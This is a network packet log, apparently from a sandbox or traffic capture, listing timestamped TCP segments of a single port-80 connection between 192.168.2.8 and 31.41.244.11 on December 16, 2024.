Dec 16, 2024 17:02:23.249980927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.250252008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.250298023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.250539064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.250590086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.251678944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.251694918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.251724958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.251738071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.252357960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.252403021 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.252537966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.252584934 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.254282951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.254337072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.254517078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.254563093 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.255100965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.255155087 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.255223036 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.255270958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.257138968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.257208109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.257333040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.257383108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.257898092 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.257914066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.257951021 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.257965088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.258810043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.258863926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.259110928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.259160995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.260242939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.260293961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.260554075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.260593891 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.262362957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.262382030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.262411118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.262427092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.262659073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.262674093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.262702942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.262718916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.264767885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.264833927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.264903069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.264954090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.265568018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.265615940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.265722990 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.265772104 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.266752958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.266768932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.266803980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.266829014 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.267987013 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.268039942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.268127918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.268178940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.269087076 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.269103050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.269164085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.269201994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.270070076 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.270122051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.270219088 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.270267010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.271302938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.271357059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.271466017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.271514893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.272336960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.272351980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.272392988 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.273560047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.273611069 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.273698092 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.273746014 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.274717093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.274732113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.274766922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.274786949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.275806904 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.275824070 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.275855064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.275868893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.276974916 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.276989937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.277029991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.277040958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.277821064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.277869940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.277961016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.278007030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.278963089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.279011965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.279100895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.279149055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.280011892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.280035019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.280064106 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.280080080 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.281094074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.281116962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.281143904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.281157970 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.282093048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.282146931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.282259941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.282310009 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.283149004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.283164978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.283202887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.283216000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.284020901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.284073114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.284159899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.284209013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.284924030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.284976006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.285069942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.285119057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.285835028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.285851002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.285883904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.285897970 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.286896944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.286947012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.287045002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.287091970 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.287645102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.287693977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.287806988 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.287853003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.288569927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.288623095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.288724899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.288769007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.289388895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.289438009 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.289551020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.289597034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.290563107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.290606976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.290707111 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.290751934 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.291397095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.291420937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.291441917 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.291455984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.292234898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.292287111 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.292382956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.292428017 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.293128014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.293203115 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.293431044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.293579102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.293931007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.293979883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.294281006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.294327021 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.294970989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.294986010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.295012951 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.295041084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.376926899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.377103090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.377118111 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.377146959 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.377219915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.377553940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.377605915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.377866030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.377881050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.377913952 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.377931118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.378308058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.378355980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.378480911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.378496885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.378525972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.378539085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.379086971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.379102945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.379117966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.379132986 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.379154921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.379858971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.379874945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.379904985 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.379933119 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.380165100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.380208015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.380610943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.380652905 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.380773067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.380790949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.380816936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.380830050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.381525040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.381572962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.381683111 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.381699085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.381776094 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.382314920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.382329941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.382360935 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.382386923 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.382457972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.382498980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.382991076 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.383006096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.383021116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.383037090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.383054018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.383584023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.383632898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.383771896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.383786917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.383819103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.383832932 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.384316921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.384365082 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.384468079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.384510994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.384659052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.384699106 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.385180950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.385243893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.385375023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.385390997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.385418892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.385441065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.385601044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.385644913 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.386116028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.386130095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.386145115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.386157990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.386173964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.386607885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.386652946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.386931896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.386991978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.387269020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.387284994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.387341976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.387341976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.387392998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.387434006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.387904882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.387945890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.388124943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.388140917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.388190985 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.388205051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.388598919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.388643980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.388957024 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.389004946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.389123917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.389148951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.389178991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.389194965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.389467955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.389511108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.389930010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.389975071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.390113115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.390127897 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.390177965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.390445948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.390492916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.390841007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.390886068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.391014099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.391061068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.391268969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.391283989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.391319036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.391339064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.391949892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.391964912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.391994953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.392010927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.392086029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.392129898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.392275095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.392318010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.392756939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.392807007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.392944098 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.392957926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.392987013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.393008947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.393449068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.393516064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.393785954 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.393831015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.394288063 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.394310951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.394325972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.394334078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.394355059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.394381046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.394623041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.394675970 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.395417929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.395462990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.395623922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.395639896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.395670891 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.395683050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.395955086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.395999908 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.396509886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.396554947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.396657944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.396672964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.396699905 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.396713972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.396984100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.397027969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.397280931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.397296906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.397311926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.397322893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.397363901 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.397799969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.397898912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.398076057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.398118973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.398250103 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.398294926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.398428917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.398444891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.398472071 CET	49712	80	192.168.2.8	31.41.244.11
